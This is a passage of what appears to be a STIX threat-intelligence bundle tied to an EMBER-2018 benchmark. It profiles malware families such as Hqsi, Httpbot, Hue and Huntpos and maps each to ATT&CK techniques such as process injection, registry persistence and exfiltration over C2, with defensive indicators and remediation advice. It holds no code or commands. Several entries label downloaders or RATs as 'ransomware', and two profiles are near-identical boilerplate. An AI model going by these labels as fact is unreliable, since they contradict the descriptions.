          "description": "Canonical Malware Families Catalog Technical Profile for Hpursnif",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hpursnif"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d78c9619-b3a2-5de6-b380-3c92aa55c9de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6e3edc1-0af2-57a4-89cc-77b94255eb2a",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpursnif exhibits technique T1056.004 (Input Capture: Credential API Hooking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdf73975-6455-5826-99a5-284756b52572",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6e3edc1-0af2-57a4-89cc-77b94255eb2a",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpursnif exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f46ae9e7-6d65-5330-b46a-cdee94a13752",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6e3edc1-0af2-57a4-89cc-77b94255eb2a",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpursnif exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--642c36ba-7907-5e63-a3ed-b761cd91981a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6e3edc1-0af2-57a4-89cc-77b94255eb2a",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpursnif exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c96a1c4a-af0e-5919-980a-b9b92a149712",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hqsi",
      "description": "<h3>Executive Summary</h3>\nHqsi is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHqsi is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Hqsi operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Hqsi ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Hqsi receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Hqsi infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Hqsi executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Hqsi frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Hqsi",
        "Downloader.Hqsi",
        "Win32/Hqsi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hqsi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hqsi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d968592-9d59-5798-bcfc-ab66827718c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c96a1c4a-af0e-5919-980a-b9b92a149712",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hqsi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--666d6231-4683-57f2-9a9e-278ef920933a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c96a1c4a-af0e-5919-980a-b9b92a149712",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hqsi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8957cd18-69c6-5617-a99c-593a853604c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c96a1c4a-af0e-5919-980a-b9b92a149712",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hqsi exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ebac0f8f-9a66-572b-899c-96b8c583898a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hrup",
      "description": "Trojan:Win32/Hrup is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hrup</b><br>To an end-user, a Hrup infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hrup is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hrup is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hrup frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hrup reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hrup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hrup"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83e0b94f-3cc3-5b84-b289-241cad733ffd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebac0f8f-9a66-572b-899c-96b8c583898a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hrup exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5601f470-f787-50a6-b604-a42fa7593c77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebac0f8f-9a66-572b-899c-96b8c583898a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hrup exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c8eac24-02f8-5e82-a847-d76741805bae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebac0f8f-9a66-572b-899c-96b8c583898a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hrup exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2aa259f1-ba8d-5367-ac1d-744939dfb0d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebac0f8f-9a66-572b-899c-96b8c583898a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hrup exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a491ecd-736b-5e9e-b40b-e77ee471028c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ebac0f8f-9a66-572b-899c-96b8c583898a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hrup exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5a332523-07f2-595c-b569-5bcd05212a14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Httpbot",
      "description": "Backdoor:Win32/Httpbot (or HTTP Bot) is a broad classification for botnet agents and Remote Access Trojans (RATs) that specifically utilize standard web protocols (HTTP and HTTPS) to communicate with their Command and Control (C2) servers (`T1071.001`). By disguising their malicious traffic as normal web browsing, Httpbot variants successfully bypass many traditional firewalls and basic network intrusion detection systems.<br><br><b>Understanding Httpbot (Web-Based C2)</b><br>To an end-user, the infection is entirely invisible; there are no pop-ups or signs of sluggishness. For a security team, an Httpbot detection indicates an endpoint is actively compromised and receiving instructions from an external attacker. This is a severe incident, as the bot can be instructed to download ransomware, steal data, or participate in Distributed Denial of Service (DDoS) attacks.<br><br><b>Execution and Evasion Mechanics</b><br>Httpbot typically arrives as a secondary payload dropped by a loader (like an Office macro or a drive-by download). It establishes persistence via Registry Run keys (`T1547.001`). Once active, it begins 'beaconing'\u2014sending regular HTTP GET or POST requests to the C2 server. Attackers often format the C2 traffic to mimic legitimate APIs (e.g., sending JSON payloads, or hiding commands in base64-encoded strings within HTTP headers) (`T1027`). Modern variants almost exclusively use HTTPS, encrypting the traffic and forcing defenders to rely on SSL inspection or host-based logging to read the payload.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of endpoint control. Host-based IoCs include unexpected executables running from `%AppData%` and maintaining long-running, periodic network connections. Network IoCs are critical: look for highly regular, repetitive HTTPS connections (beacons) originating from `svchost.exe` (if injected) or unknown binaries, especially to newly registered domains or IP addresses lacking a legitimate reputation. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Httpbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/httpbot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0bbbad9-2a28-549f-bce7-04b560bfc30a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a332523-07f2-595c-b569-5bcd05212a14",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Httpbot exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Using HTTP/HTTPS for Command and Control))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5456f5c-275c-55cd-9a0f-032ca7a17156",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a332523-07f2-595c-b569-5bcd05212a14",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Httpbot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Persistence mechanism))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c54b17a-b857-5605-ac70-4b65eb3adc4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a332523-07f2-595c-b569-5bcd05212a14",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Httpbot exhibits technique T1055 (Process Injection (Often injecting into legitimate browser processes to further mask traffic))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e2fdfe2b-21d7-576e-b0cf-503202f0e46c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hue",
      "description": "Hue (cataloged across security engines as Trojan:Win32/Hue, Backdoor:Win32/Hue, and Trojan.Win32.Hue) is a legacy Delphi-authored remote access backdoor trojan and staging dropper that surfaced in the mid-2000s cybercrime landscape. Engineered to provide covert persistent access, Hue injects lightweight execution threads into native Windows desktop processes, establishes reverse command-and-control communication with attacker infrastructure, and bypasses rudimentary signature scanning using simple string XOR encryption. The trojan allows remote operators to execute shell commands, upload and download files, terminate local antivirus processes, and deploy secondary malware modules onto the compromised system. (Observed samples in benchmark: 1,500)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Hue",
        "Backdoor:Win32/Hue",
        "Trojan.Win32.Hue",
        "Win32/Hue.Backdoor",
        "Backdoor.Hue.Gen"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hue",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hue"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88083fa4-6b2e-5640-a1eb-0eef1df94f81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2fdfe2b-21d7-576e-b0cf-503202f0e46c",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hue exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2428ed77-c88e-526e-a099-3df0579546c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2fdfe2b-21d7-576e-b0cf-503202f0e46c",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hue exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0ba9b63-5dfd-51dc-a9d1-1d1c3630070c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2fdfe2b-21d7-576e-b0cf-503202f0e46c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hue exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f45f0190-ed68-5884-8c65-4dbc16016baa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2fdfe2b-21d7-576e-b0cf-503202f0e46c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hue exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82e7cfd9-9ff2-5e98-8282-fb5e2f12fb3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2fdfe2b-21d7-576e-b0cf-503202f0e46c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hue exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1d7c6444-b6b0-55b8-a593-2c0911c8b857",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Huhk",
      "description": "Trojan:Win32/Huhk is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Huhk</b><br>To an end-user, a Huhk infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Huhk is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Huhk is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Huhk frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Huhk reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Huhk",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/huhk"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--095f73fd-27e4-5c11-929e-6be903a585bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d7c6444-b6b0-55b8-a593-2c0911c8b857",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Huhk exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78cf5ffa-2a2e-524f-84af-2f5ab2b6adf7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d7c6444-b6b0-55b8-a593-2c0911c8b857",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Huhk exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89ce4e36-2da6-5c24-87f9-59159a0659a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d7c6444-b6b0-55b8-a593-2c0911c8b857",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Huhk exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7af097f2-8be0-5de0-87eb-aae870f4ea81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d7c6444-b6b0-55b8-a593-2c0911c8b857",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Huhk exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3af05658-9b85-5934-a17d-0cf262fabcbc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d7c6444-b6b0-55b8-a593-2c0911c8b857",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Huhk exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ea24c46c-f94c-59ee-b30b-38a85653344c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Huntpos",
      "description": "Malware:Win32/Huntpos is a highly destructive and specialized Point-of-Sale (PoS) malware family. It is engineered specifically to target retail, hospitality, and food service environments. Its primary objective is to scrape the volatile memory (RAM) of infected PoS terminals to extract unencrypted credit card Track 1 and Track 2 data before the transaction is encrypted and sent to the payment processor. This stolen data is then exfiltrated and sold on dark web carding forums (like Joker's Stash).<br><br><b>Understanding Huntpos (PoS RAM Scrapers)</b><br>To a retail employee using the register, the machine functions normally, allowing transactions to process. However, to a security operations center (SOC) or a forensic investigator, a Huntpos infection represents a catastrophic PCI-DSS breach, leading to massive financial liability, brand damage, and regulatory fines (`T1005`).<br><br><b>Execution and Memory Scraping Mechanics</b><br>Huntpos is typically deployed after attackers gain initial access to the corporate network (often via compromised Remote Desktop Protocol (RDP) - `T1133` - or phishing) and move laterally to the isolated PoS VLAN. Once executed on a terminal, Huntpos establishes persistence as a Windows Service (`T1543.003`). It operates by continuously iterating through the memory space of running processes (specifically targeting the payment application executable). It uses regular expressions (Regex) to identify data patterns matching the format of credit card magnetic stripe data (Track 1/Track 2) (`T1005`). Once identified, the data is dumped to a hidden, encrypted log file on disk (`T1074.001`) and periodically exfiltrated to an external C2 server via HTTP POST requests (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is massive financial fraud resulting from compromised customer payment cards. Host-based IoCs include the presence of unexpected Windows Services on PoS terminals, anomalous DLLs injected into the payment application process, and the existence of encrypted, hidden log files (often disguised with generic names like `syslog.dat` or `winstat.tmp`) in system directories. Network IoCs include the PoS terminal making unexpected outbound HTTP connections to external, non-whitelisted IP addresses. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Huntpos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/huntpos"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65b83b49-c165-558e-a1be-e126b2ccf653",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea24c46c-f94c-59ee-b30b-38a85653344c",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Huntpos exhibits technique T1005 (Data from Local System (Scraping RAM for Track 1/Track 2 data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06f74bc9-3b2a-582b-9bff-91e278270e9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea24c46c-f94c-59ee-b30b-38a85653344c",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Huntpos exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Persistence mechanism))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f180e18-461a-5756-8c96-1cd4f0875890",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea24c46c-f94c-59ee-b30b-38a85653344c",
      "target_ref": "attack-pattern--772551ec-8f8a-5fc0-9ee5-8b57c9dbe443",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Huntpos exhibits technique T1074.001 (Data Staged: Local Data Staging (Storing scraped cards in a hidden file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eec831c4-048e-59fa-9170-0264d526fab5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea24c46c-f94c-59ee-b30b-38a85653344c",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Huntpos exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
